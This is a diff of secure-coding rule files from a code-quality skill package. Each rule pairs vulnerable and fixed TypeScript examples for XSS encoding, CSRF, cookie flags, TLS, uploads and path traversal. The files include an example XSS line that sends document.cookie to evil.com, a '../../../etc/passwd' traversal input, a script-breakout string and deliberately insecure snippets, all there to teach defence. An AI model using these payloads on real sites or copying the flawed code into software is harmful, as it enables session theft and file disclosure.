  341. package/skill-assets/sunlint-code-quality/rules/python/S039-tls-certificate-validation.md +16 -0
  342. package/skill-assets/sunlint-code-quality/rules/python/S041-logout-invalidation.md +16 -0
  343. package/skill-assets/sunlint-code-quality/rules/python/S042-long-lived-sessions.md +16 -0
  344. package/skill-assets/sunlint-code-quality/rules/python/S044-critical-changes-reauth.md +16 -0
  345. package/skill-assets/sunlint-code-quality/rules/python/S045-brute-force-protection.md +16 -0
  346. package/skill-assets/sunlint-code-quality/rules/python/S047-oauth-csrf-protection.md +16 -0
  347. package/skill-assets/sunlint-code-quality/rules/python/S048-oauth-redirect-validation.md +16 -0
  348. package/skill-assets/sunlint-code-quality/rules/python/S049-auth-code-expiry.md +16 -0
  349. package/skill-assets/sunlint-code-quality/rules/python/S050-token-entropy.md +16 -0
  350. package/skill-assets/sunlint-code-quality/rules/python/S051-password-length.md +16 -0
  351. package/skill-assets/sunlint-code-quality/rules/python/S052-otp-entropy.md +16 -0
  352. package/skill-assets/sunlint-code-quality/rules/python/S053-generic-error-messages.md +16 -0
  353. package/skill-assets/sunlint-code-quality/rules/python/S054-no-default-admin.md +16 -0
  354. package/skill-assets/sunlint-code-quality/rules/python/S055-content-type-validation.md +16 -0
  355. package/skill-assets/sunlint-code-quality/rules/python/S056-log-injection.md +16 -0
  356. package/skill-assets/sunlint-code-quality/rules/python/S057-synchronized-time.md +16 -0
  357. package/skill-assets/sunlint-code-quality/rules/python/S058-ssrf-protection.md +57 -0
  358. package/skill-assets/sunlint-code-quality/rules/typescript/C006-verb-noun-functions.md +45 -0
  359. package/skill-assets/sunlint-code-quality/rules/typescript/C013-no-dead-code.md +51 -0
  360. package/skill-assets/sunlint-code-quality/rules/typescript/C014-dependency-injection.md +69 -0
  361. package/skill-assets/sunlint-code-quality/rules/typescript/C017-no-constructor-logic.md +60 -0
  362. package/skill-assets/sunlint-code-quality/rules/typescript/C018-generic-errors.md +47 -0
  363. package/skill-assets/sunlint-code-quality/rules/typescript/C019-error-log-level.md +50 -0
  364. package/skill-assets/sunlint-code-quality/rules/typescript/C020-no-unused-imports.md +55 -0
  365. package/skill-assets/sunlint-code-quality/rules/typescript/C022-no-unused-variables.md +59 -0
  366. package/skill-assets/sunlint-code-quality/rules/typescript/C023-no-duplicate-names.md +58 -0
  367. package/skill-assets/sunlint-code-quality/rules/typescript/C024-centralize-constants.md +56 -0
  368. package/skill-assets/sunlint-code-quality/rules/typescript/C029-catch-log-root-cause.md +53 -0
  369. package/skill-assets/sunlint-code-quality/rules/typescript/C030-custom-error-classes.md +60 -0
  370. package/skill-assets/sunlint-code-quality/rules/typescript/C033-separate-data-access.md +69 -0
  371. package/skill-assets/sunlint-code-quality/rules/typescript/C035-error-context-logging.md +50 -0
  372. package/skill-assets/sunlint-code-quality/rules/typescript/C041-no-hardcoded-secrets.md +47 -0
  373. package/skill-assets/sunlint-code-quality/rules/typescript/C042-boolean-naming.md +42 -0
  374. package/skill-assets/sunlint-code-quality/rules/typescript/C052-controller-parsing.md +64 -0
  375. package/skill-assets/sunlint-code-quality/rules/typescript/C060-superclass-logic.md +67 -0
  376. package/skill-assets/sunlint-code-quality/rules/typescript/C067-no-hardcoded-config.md +52 -0
  377. package/skill-assets/sunlint-code-quality/rules/typescript/S003-open-redirect.md +76 -0
  378. package/skill-assets/sunlint-code-quality/rules/typescript/S004-no-log-credentials.md +71 -0
  379. package/skill-assets/sunlint-code-quality/rules/typescript/S005-server-authorization.md +68 -0
  380. package/skill-assets/sunlint-code-quality/rules/typescript/S006-default-credentials.md +69 -0
  381. package/skill-assets/sunlint-code-quality/rules/typescript/S007-output-encoding.md +60 -0
  382. package/skill-assets/sunlint-code-quality/rules/typescript/S009-approved-crypto.md +53 -0
  383. package/skill-assets/sunlint-code-quality/rules/typescript/S010-csprng.md +53 -0
  384. package/skill-assets/sunlint-code-quality/rules/typescript/S011-encrypted-client-hello.md +45 -0
  385. package/skill-assets/sunlint-code-quality/rules/typescript/S012-secrets-management.md +47 -0
  386. package/skill-assets/sunlint-code-quality/rules/typescript/S013-tls-connections.md +70 -0
  387. package/skill-assets/sunlint-code-quality/rules/typescript/S016-no-sensitive-query-string.md +53 -0
  388. package/skill-assets/sunlint-code-quality/rules/typescript/S017-parameterized-queries.md +55 -0
  389. package/skill-assets/sunlint-code-quality/rules/typescript/S019-email-input-sanitization.md +56 -0
  390. package/skill-assets/sunlint-code-quality/rules/typescript/S020-eval-code-execution.md +58 -0
  391. package/skill-assets/sunlint-code-quality/rules/typescript/S022-context-escaping.md +48 -0
  392. package/skill-assets/sunlint-code-quality/rules/typescript/S023-dynamic-js-encoding.md +52 -0
  393. package/skill-assets/sunlint-code-quality/rules/typescript/S025-server-validation.md +62 -0
  394. package/skill-assets/sunlint-code-quality/rules/typescript/S026-tls-encryption.md +47 -0
  395. package/skill-assets/sunlint-code-quality/rules/typescript/S027-mtls-validation.md +50 -0
  396. package/skill-assets/sunlint-code-quality/rules/typescript/S028-upload-limits.md +65 -0
  397. package/skill-assets/sunlint-code-quality/rules/typescript/S029-csrf-protection.md +62 -0
  398. package/skill-assets/sunlint-code-quality/rules/typescript/S030-directory-browsing.md +52 -0
  399. package/skill-assets/sunlint-code-quality/rules/typescript/S031-secure-cookie-flag.md +48 -0
  400. package/skill-assets/sunlint-code-quality/rules/typescript/S032-httponly-cookie.md +36 -0
  401. package/skill-assets/sunlint-code-quality/rules/typescript/S033-samesite-cookie.md +46 -0
  402. package/skill-assets/sunlint-code-quality/rules/typescript/S034-host-prefix-cookie.md +50 -0
  403. package/skill-assets/sunlint-code-quality/rules/typescript/S035-app-hostnames.md +49 -0
  404. package/skill-assets/sunlint-code-quality/rules/typescript/S036-internal-file-paths.md +53 -0
  405. package/skill-assets/sunlint-code-quality/rules/typescript/S037-anti-cache-headers.md +52 -0
  406. package/skill-assets/sunlint-code-quality/rules/typescript/S039-tls-certificate-validation.md +51 -0
  407. package/skill-assets/sunlint-code-quality/rules/typescript/S041-logout-invalidation.md +58 -0
  408. package/skill-assets/sunlint-code-quality/rules/typescript/S042-long-lived-sessions.md +55 -0
  409. package/skill-assets/sunlint-code-quality/rules/typescript/S044-critical-changes-reauth.md +69 -0
  410. package/skill-assets/sunlint-code-quality/rules/typescript/S045-brute-force-protection.md +59 -0
  411. package/skill-assets/sunlint-code-quality/rules/typescript/S047-oauth-csrf-protection.md +60 -0
  412. package/skill-assets/sunlint-code-quality/rules/typescript/S048-oauth-redirect-validation.md +59 -0
  413. package/skill-assets/sunlint-code-quality/rules/typescript/S049-auth-code-expiry.md +73 -0
  414. package/skill-assets/sunlint-code-quality/rules/typescript/S050-token-entropy.md +48 -0
  415. package/skill-assets/sunlint-code-quality/rules/typescript/S051-password-length.md +60 -0
  416. package/skill-assets/sunlint-code-quality/rules/typescript/S052-otp-entropy.md +49 -0
  417. package/skill-assets/sunlint-code-quality/rules/typescript/S053-generic-error-messages.md +61 -0
  418. package/skill-assets/sunlint-code-quality/rules/typescript/S054-no-default-admin.md +64 -0
  419. package/skill-assets/sunlint-code-quality/rules/typescript/S055-content-type-validation.md +64 -0
  420. package/skill-assets/sunlint-code-quality/rules/typescript/S056-log-injection.md +48 -0
  421. package/skill-assets/sunlint-code-quality/rules/typescript/S057-synchronized-time.md +57 -0
  422. package/skill-assets/sunlint-code-quality/rules/typescript/S058-ssrf-protection.md +63 -0
@@ -0,0 +1,52 @@
1
+ ---
2
+ title: Output Encoding For Dynamic JS/JSON
3
+ impact: HIGH
4
+ impactDescription: prevents injection in JavaScript contexts
5
+ tags: xss, javascript, json, encoding, security
6
+ ---
7
+
8
+ ## Output Encoding For Dynamic JS/JSON
9
+
10
+ Embedding user data in JavaScript or JSON requires proper encoding to prevent code injection.
11
+
12
+ **Incorrect (unescaped data in JS):**
13
+
14
+ ```typescript
15
+ // XSS in inline script
16
+ app.get('/profile', (req, res) => {
17
+ const username = req.user.name; // "</script><script>alert('xss')"
18
+ res.send(`<script>var user = "${username}";</script>`);
19
+ });
20
+ ```
21
+
22
+ **Correct (proper JSON encoding):**
23
+
24
+ ```typescript
25
+ app.get('/profile', (req, res) => {
26
+ const userData = {
27
+ name: req.user.name,
28
+ email: req.user.email
29
+ };
30
+
31
+ // JSON.stringify properly escapes special characters
32
+ const safeData = JSON.stringify(userData);
33
+
34
+ res.send(`
35
+ <script>
36
+ var user = ${safeData};
37
+ </script>
38
+ `);
39
+ });
40
+
41
+ // For React/Next.js - pass via props
42
+ <script
43
+ dangerouslySetInnerHTML={{
44
+ __html: `window.__INITIAL_DATA__ = ${JSON.stringify(data)}`
45
+ }}
46
+ />
47
+
48
+ // Better: use data attributes
49
+ <div id="app" data-user={JSON.stringify(user)}></div>
50
+ ```
51
+
52
+ **Tools:** ESLint, SonarQube, Manual Review
@@ -0,0 +1,62 @@
1
+ ---
2
+ title: Always Validate Client Data Server-side
3
+ impact: MEDIUM
4
+ impactDescription: ensures input validation cannot be bypassed
5
+ tags: validation, server-side, input, sanitization, security
6
+ ---
7
+
8
+ ## Always Validate Client Data Server-side
9
+
10
+ Client-side validation is for UX only - it can be bypassed easily. All input must be validated server-side.
11
+
12
+ **Incorrect (trusting client validation):**
13
+
14
+ ```typescript
15
+ // No server validation - trusting frontend
16
+ app.post('/transfer', async (req, res) => {
17
+ const { amount, toAccount } = req.body;
18
+ await transferMoney(req.user.id, toAccount, amount);
19
+ res.json({ success: true });
20
+ });
21
+ ```
22
+
23
+ **Correct (comprehensive server validation):**
24
+
25
+ ```typescript
26
+ import { z } from 'zod';
27
+
28
+ const transferSchema = z.object({
29
+ amount: z.number().positive().max(10000),
30
+ toAccount: z.string().regex(/^[A-Z]{2}\d{18}$/) // IBAN format
31
+ });
32
+
33
+ app.post('/transfer', async (req, res) => {
34
+ // Validate everything server-side
35
+ const result = transferSchema.safeParse(req.body);
36
+ if (!result.success) {
37
+ return res.status(400).json({ errors: result.error.issues });
38
+ }
39
+
40
+ const { amount, toAccount } = result.data;
41
+
42
+ // Additional business validation
43
+ const account = await findAccount(toAccount);
44
+ if (!account) {
45
+ return res.status(404).json({ error: 'Account not found' });
46
+ }
47
+
48
+ await transferMoney(req.user.id, toAccount, amount);
49
+ res.json({ success: true });
50
+ });
51
+ ```
52
+
53
+ **Validation types:**
54
+
55
+ | Type | What to Check |
56
+ |------|---------------|
57
+ | Format | Email, phone, UUID, dates |
58
+ | Range | Min/max values, string length |
59
+ | Business | Account exists, permissions |
60
+ | Sanitization | Strip dangerous chars |
61
+
62
+ **Tools:** Zod, Joi, class-validator, SonarQube
@@ -0,0 +1,47 @@
1
+ ---
2
+ title: TLS Encryption For All Connections
3
+ impact: CRITICAL
4
+ impactDescription: protects data in transit from interception
5
+ tags: tls, encryption, https, transport, security
6
+ ---
7
+
8
+ ## TLS Encryption For All Connections
9
+
10
+ All network communications must use TLS to prevent eavesdropping and man-in-the-middle attacks.
11
+
12
+ **Incorrect (unencrypted connections):**
13
+
14
+ ```typescript
15
+ // HTTP instead of HTTPS
16
+ fetch('http://api.example.com/data');
17
+
18
+ // Unencrypted database connection
19
+ mongoose.connect('mongodb://db.example.com/app');
20
+ ```
21
+
22
+ **Correct (TLS everywhere):**
23
+
24
+ ```typescript
25
+ // HTTPS for all external calls
26
+ fetch('https://api.example.com/data');
27
+
28
+ // TLS for database
29
+ mongoose.connect('mongodb://db.example.com/app', {
30
+ tls: true,
31
+ tlsCAFile: '/path/to/ca.pem'
32
+ });
33
+
34
+ // HSTS header to force HTTPS
35
+ app.use(helmet.hsts({
36
+ maxAge: 31536000,
37
+ includeSubDomains: true
38
+ }));
39
+ ```
40
+
41
+ **Requirements:**
42
+ - All HTTP endpoints must redirect to HTTPS
43
+ - Database connections must use TLS
44
+ - Internal service-to-service calls must use TLS
45
+ - HSTS headers should be enabled
46
+
47
+ **Tools:** SSLyze, OWASP ZAP, Qualys SSL Labs
@@ -0,0 +1,50 @@
1
+ ---
2
+ title: Validate mTLS Certificates Before Auth
3
+ impact: CRITICAL
4
+ impactDescription: ensures mutual authentication between services
5
+ tags: mtls, certificates, authentication, service-mesh, security
6
+ ---
7
+
8
+ ## Validate mTLS Certificates Before Auth
9
+
10
+ Mutual TLS ensures both parties are authenticated. Always validate client certificates before processing requests.
11
+
12
+ **Incorrect (skipping certificate validation):**
13
+
14
+ ```typescript
15
+ // Accepting any client certificate
16
+ const server = https.createServer({
17
+ requestCert: true,
18
+ rejectUnauthorized: false // DANGEROUS!
19
+ }, app);
20
+ ```
21
+
22
+ **Correct (proper mTLS validation):**
23
+
24
+ ```typescript
25
+ const server = https.createServer({
26
+ key: fs.readFileSync('server-key.pem'),
27
+ cert: fs.readFileSync('server-cert.pem'),
28
+ ca: fs.readFileSync('ca-cert.pem'),
29
+ requestCert: true,
30
+ rejectUnauthorized: true // Reject invalid certificates
31
+ }, app);
32
+
33
+ // Additional validation in middleware
34
+ app.use((req, res, next) => {
35
+ const cert = req.socket.getPeerCertificate();
36
+
37
+ if (!cert || !cert.subject) {
38
+ return res.status(401).json({ error: 'Client certificate required' });
39
+ }
40
+
41
+ // Validate certificate attributes
42
+ if (!allowedServices.includes(cert.subject.CN)) {
43
+ return res.status(403).json({ error: 'Service not authorized' });
44
+ }
45
+
46
+ next();
47
+ });
48
+ ```
49
+
50
+ **Tools:** OpenSSL, Certificate Pinning, Service Mesh (Istio, Linkerd)
@@ -0,0 +1,65 @@
1
+ ---
2
+ title: Limit Upload File Size And Count
3
+ impact: MEDIUM
4
+ impactDescription: prevents denial of service attacks
5
+ tags: upload, file-size, dos, limits, security
6
+ ---
7
+
8
+ ## Limit Upload File Size And Count
9
+
10
+ Unlimited uploads can exhaust disk space and memory, causing denial of service.
11
+
12
+ **Incorrect (no limits):**
13
+
14
+ ```typescript
15
+ // No size limit
16
+ app.post('/upload', upload.single('file'), handler);
17
+
18
+ // No file count limit
19
+ app.post('/upload', upload.array('files'), handler);
20
+ ```
21
+
22
+ **Correct (enforce limits):**
23
+
24
+ ```typescript
25
+ import multer from 'multer';
26
+
27
+ const upload = multer({
28
+ limits: {
29
+ fileSize: 5 * 1024 * 1024, // 5MB max
30
+ files: 5, // Max 5 files
31
+ fields: 10, // Max 10 form fields
32
+ },
33
+ fileFilter: (req, file, cb) => {
34
+ const allowedTypes = ['image/jpeg', 'image/png', 'application/pdf'];
35
+ if (!allowedTypes.includes(file.mimetype)) {
36
+ return cb(new Error('Invalid file type'));
37
+ }
38
+ cb(null, true);
39
+ }
40
+ });
41
+
42
+ app.post('/upload',
43
+ upload.array('files', 5), // Max 5 files
44
+ (err, req, res, next) => {
45
+ if (err instanceof multer.MulterError) {
46
+ if (err.code === 'LIMIT_FILE_SIZE') {
47
+ return res.status(413).json({ error: 'File too large' });
48
+ }
49
+ if (err.code === 'LIMIT_FILE_COUNT') {
50
+ return res.status(400).json({ error: 'Too many files' });
51
+ }
52
+ }
53
+ next(err);
54
+ },
55
+ handler
56
+ );
57
+ ```
58
+
59
+ **Recommended limits:**
60
+ - Images: 5-10MB
61
+ - Documents: 10-50MB
62
+ - Max files per request: 5-10
63
+ - Total storage per user: Configurable
64
+
65
+ **Tools:** Multer, Express file limits, NGINX limits
@@ -0,0 +1,62 @@
1
+ ---
2
+ title: Apply CSRF Protection
3
+ impact: HIGH
4
+ impactDescription: prevents cross-site request forgery attacks
5
+ tags: csrf, tokens, forms, security
6
+ ---
7
+
8
+ ## Apply CSRF Protection
9
+
10
+ CSRF attacks force authenticated users to perform unintended actions.
11
+
12
+ **Incorrect (no CSRF protection):**
13
+
14
+ ```html
15
+ <!-- No CSRF token - vulnerable -->
16
+ <form action="/transfer" method="POST">
17
+ <input name="amount" value="1000">
18
+ <button>Transfer</button>
19
+ </form>
20
+ ```
21
+
22
+ **Correct (CSRF protection):**
23
+
24
+ ```typescript
25
+ import csrf from 'csurf';
26
+
27
+ const csrfProtection = csrf({ cookie: true });
28
+
29
+ app.get('/transfer', csrfProtection, (req, res) => {
30
+ res.render('transfer', { csrfToken: req.csrfToken() });
31
+ });
32
+
33
+ app.post('/transfer', csrfProtection, (req, res) => {
34
+ // Token validated automatically
35
+ await processTransfer(req.body);
36
+ });
37
+ ```
38
+
39
+ ```html
40
+ <form action="/transfer" method="POST">
41
+ <input type="hidden" name="_csrf" value="<%= csrfToken %>">
42
+ <input name="amount">
43
+ <button>Transfer</button>
44
+ </form>
45
+ ```
46
+
47
+ ```typescript
48
+ // SameSite cookies as additional protection
49
+ res.cookie('session', token, {
50
+ httpOnly: true,
51
+ secure: true,
52
+ sameSite: 'strict'
53
+ });
54
+
55
+ // For SPAs - use Bearer tokens
56
+ fetch('/api/transfer', {
57
+ method: 'POST',
58
+ headers: { 'Authorization': `Bearer ${token}` }
59
+ });
60
+ ```
61
+
62
+ **Tools:** csurf, SameSite cookies, Bearer tokens
@@ -0,0 +1,52 @@
1
+ ---
2
+ title: Disable Directory Browsing
3
+ impact: MEDIUM
4
+ impactDescription: prevents file enumeration
5
+ tags: directory, listing, file-exposure, security
6
+ ---
7
+
8
+ ## Disable Directory Browsing
9
+
10
+ Directory listing exposes file structure and potentially sensitive files.
11
+
12
+ **Incorrect (directory listing enabled):**
13
+
14
+ ```javascript
15
+ // Express static with directory listing
16
+ app.use(express.static('public', { index: false }));
17
+
18
+ // NGINX default may allow listing
19
+ location /files/ {
20
+ autoindex on; // Allows listing!
21
+ }
22
+ ```
23
+
24
+ **Correct (directory listing disabled):**
25
+
26
+ ```javascript
27
+ // Express - no listing by default, but ensure index
28
+ app.use(express.static('public', {
29
+ index: 'index.html',
30
+ dotfiles: 'deny'
31
+ }));
32
+
33
+ // Custom 404 for missing files
34
+ app.use((req, res) => {
35
+ res.status(404).json({ error: 'Not found' });
36
+ });
37
+ ```
38
+
39
+ ```nginx
40
+ # NGINX - disable autoindex
41
+ location /files/ {
42
+ autoindex off;
43
+ try_files $uri $uri/ =404;
44
+ }
45
+ ```
46
+
47
+ ```apache
48
+ # Apache - disable in .htaccess
49
+ Options -Indexes
50
+ ```
51
+
52
+ **Tools:** Web server configuration, Security scan
@@ -0,0 +1,48 @@
1
+ ---
2
+ title: Set Secure Flag On Session Cookies
3
+ impact: HIGH
4
+ impactDescription: prevents cookie theft over unencrypted connections
5
+ tags: cookies, secure, https, session, security
6
+ ---
7
+
8
+ ## Set Secure Flag On Session Cookies
9
+
10
+ Without the Secure flag, cookies can be sent over unencrypted HTTP connections.
11
+
12
+ **Incorrect (no Secure flag):**
13
+
14
+ ```typescript
15
+ res.cookie('session', token); // No flags!
16
+ ```
17
+
18
+ **Correct (Secure flag set):**
19
+
20
+ ```typescript
21
+ res.cookie('session', token, {
22
+ secure: true, // HTTPS only
23
+ httpOnly: true,
24
+ sameSite: 'strict'
25
+ });
26
+ ```
27
+
28
+ **Production enforcement:**
29
+
30
+ ```typescript
31
+ const isProduction = process.env.NODE_ENV === 'production';
32
+
33
+ app.use(session({
34
+ cookie: {
35
+ secure: isProduction, // Enforce in production
36
+ httpOnly: true,
37
+ sameSite: 'strict',
38
+ maxAge: 3600000
39
+ }
40
+ }));
41
+
42
+ // Fail if HTTPS not configured in production
43
+ if (isProduction && !process.env.HTTPS_ENABLED) {
44
+ throw new Error('HTTPS required in production');
45
+ }
46
+ ```
47
+
48
+ **Tools:** helmet.js, Session libraries
@@ -0,0 +1,36 @@
1
+ ---
2
+ title: Set HttpOnly On Session Cookies
3
+ impact: MEDIUM
4
+ impactDescription: prevents cookie theft via XSS
5
+ tags: cookies, httponly, xss, session, security
6
+ ---
7
+
8
+ ## Set HttpOnly On Session Cookies
9
+
10
+ Without HttpOnly, JavaScript can read cookie values, enabling XSS attacks to steal sessions.
11
+
12
+ **Incorrect (no HttpOnly):**
13
+
14
+ ```typescript
15
+ res.cookie('session', token); // Accessible via document.cookie
16
+ ```
17
+
18
+ **Correct (HttpOnly set):**
19
+
20
+ ```typescript
21
+ res.cookie('session', token, {
22
+ httpOnly: true, // Not accessible to JavaScript
23
+ secure: true,
24
+ sameSite: 'strict'
25
+ });
26
+ ```
27
+
28
+ **XSS attack example (prevented by HttpOnly):**
29
+
30
+ ```javascript
31
+ // Attacker's XSS payload (blocked by HttpOnly)
32
+ fetch('https://evil.com/steal?cookie=' + document.cookie);
33
+ // With HttpOnly, session cookie is NOT in document.cookie
34
+ ```
35
+
36
+ **Tools:** Browser DevTools, OWASP ZAP
@@ -0,0 +1,46 @@
1
+ ---
2
+ title: Set SameSite On Session Cookies
3
+ impact: MEDIUM
4
+ impactDescription: provides CSRF protection
5
+ tags: cookies, samesite, csrf, session, security
6
+ ---
7
+
8
+ ## Set SameSite On Session Cookies
9
+
10
+ SameSite attribute prevents cookies from being sent in cross-site requests, providing CSRF protection.
11
+
12
+ **Incorrect (no SameSite):**
13
+
14
+ ```typescript
15
+ res.cookie('session', token); // Default may be 'Lax' in modern browsers
16
+ ```
17
+
18
+ **Correct (SameSite set):**
19
+
20
+ ```typescript
21
+ // Strict - most secure, may break legitimate cross-site flows
22
+ res.cookie('session', token, {
23
+ sameSite: 'strict',
24
+ httpOnly: true,
25
+ secure: true
26
+ });
27
+
28
+ // Lax - allows top-level navigation (clicking links)
29
+ res.cookie('session', token, {
30
+ sameSite: 'lax',
31
+ httpOnly: true,
32
+ secure: true
33
+ });
34
+ ```
35
+
36
+ **SameSite options:**
37
+
38
+ | Value | Behavior |
39
+ |-------|----------|
40
+ | `strict` | Never sent cross-site |
41
+ | `lax` | Sent for top-level navigation |
42
+ | `none` | Always sent (requires Secure) |
43
+
44
+ **Recommended:** `strict` for session cookies
45
+
46
+ **Tools:** Browser DevTools, Security Scan
@@ -0,0 +1,50 @@
1
+ ---
2
+ title: Use __Host- Prefix For Cookies
3
+ impact: MEDIUM
4
+ impactDescription: ensures cookie is domain-locked
5
+ tags: cookies, prefix, domain, security
6
+ ---
7
+
8
+ ## Use __Host- Prefix For Cookies
9
+
10
+ The `__Host-` prefix ensures cookies are only sent to the exact host, preventing subdomain attacks.
11
+
12
+ **Incorrect (no prefix):**
13
+
14
+ ```typescript
15
+ res.cookie('session', token, {
16
+ secure: true,
17
+ path: '/'
18
+ });
19
+ // Cookie could be set by subdomain attacker
20
+ ```
21
+
22
+ **Correct (__Host- prefix):**
23
+
24
+ ```typescript
25
+ res.cookie('__Host-session', token, {
26
+ secure: true,
27
+ path: '/',
28
+ httpOnly: true,
29
+ sameSite: 'strict'
30
+ // Domain must NOT be set for __Host-
31
+ });
32
+ ```
33
+
34
+ **__Host- requirements:**
35
+ - Must have `Secure` flag
36
+ - Must have `Path=/`
37
+ - Must NOT have `Domain` attribute
38
+ - Cannot be set from subdomain
39
+
40
+ **Alternative - __Secure- prefix:**
41
+
42
+ ```typescript
43
+ // Less restrictive, just requires Secure
44
+ res.cookie('__Secure-session', token, {
45
+ secure: true,
46
+ domain: 'example.com' // Allowed with __Secure-
47
+ });
48
+ ```
49
+
50
+ **Tools:** Browser DevTools, Security Audit
@@ -0,0 +1,49 @@
1
+ ---
2
+ title: Host Apps On Different Hostnames
3
+ impact: MEDIUM
4
+ impactDescription: provides cookie and origin isolation
5
+ tags: hostname, isolation, same-origin, security
6
+ ---
7
+
8
+ ## Host Apps On Different Hostnames
9
+
10
+ Different applications on the same hostname can access each other's cookies and storage.
11
+
12
+ **Incorrect (shared hostname):**
13
+
14
+ ```
15
+ https://example.com/admin # Admin panel
16
+ https://example.com/api # API
17
+ https://example.com/app # User app
18
+ # All share cookies and localStorage!
19
+ ```
20
+
21
+ **Correct (separate hostnames):**
22
+
23
+ ```
24
+ https://admin.example.com # Admin panel
25
+ https://api.example.com # API
26
+ https://app.example.com # User app
27
+ # Each has isolated cookies and storage
28
+ ```
29
+
30
+ **Benefits:**
31
+ - Cookie isolation
32
+ - localStorage isolation
33
+ - Same-origin policy protection
34
+ - Independent security policies
35
+
36
+ **Configuration:**
37
+
38
+ ```typescript
39
+ // CORS for separate origins
40
+ app.use(cors({
41
+ origin: [
42
+ 'https://app.example.com',
43
+ 'https://admin.example.com'
44
+ ],
45
+ credentials: true
46
+ }));
47
+ ```
48
+
49
+ **Tools:** Infrastructure Planning, Security Audit
@@ -0,0 +1,53 @@
1
+ ---
2
+ title: Use Internal Data For File Paths
3
+ impact: CRITICAL
4
+ impactDescription: prevents path traversal attacks
5
+ tags: file-path, path-traversal, lfi, input-validation, security
6
+ ---
7
+
8
+ ## Use Internal Data For File Paths
9
+
10
+ Never construct file paths using user input directly. Path traversal attacks can access any file on the system.
11
+
12
+ **Incorrect (user-controlled paths):**
13
+
14
+ ```typescript
15
+ // Path traversal vulnerability
16
+ app.get('/download', (req, res) => {
17
+ const filename = req.query.file;
18
+ res.sendFile(`/uploads/${filename}`);
19
+ // Attacker: ?file=../../../etc/passwd
20
+ });
21
+ ```
22
+
23
+ **Correct (validated internal paths):**
24
+
25
+ ```typescript
26
+ import path from 'path';
27
+
28
+ app.get('/download', (req, res) => {
29
+ const filename = req.query.file;
30
+
31
+ // Sanitize: remove path components
32
+ const safeName = path.basename(filename);
33
+
34
+ // Validate against allowlist
35
+ const allowedFiles = await getUploadedFiles(req.user.id);
36
+ if (!allowedFiles.includes(safeName)) {
37
+ return res.status(404).json({ error: 'File not found' });
38
+ }
39
+
40
+ // Use absolute path with validation
41
+ const filePath = path.join('/uploads', safeName);
42
+ const resolved = path.resolve(filePath);
43
+
44
+ // Ensure path is within allowed directory
45
+ if (!resolved.startsWith('/uploads/')) {
46
+ return res.status(400).json({ error: 'Invalid path' });
47
+ }
48
+
49
+ res.sendFile(resolved);
50
+ });
51
+ ```
52
+
53
+ **Tools:** SonarQube, Semgrep, OWASP ZAP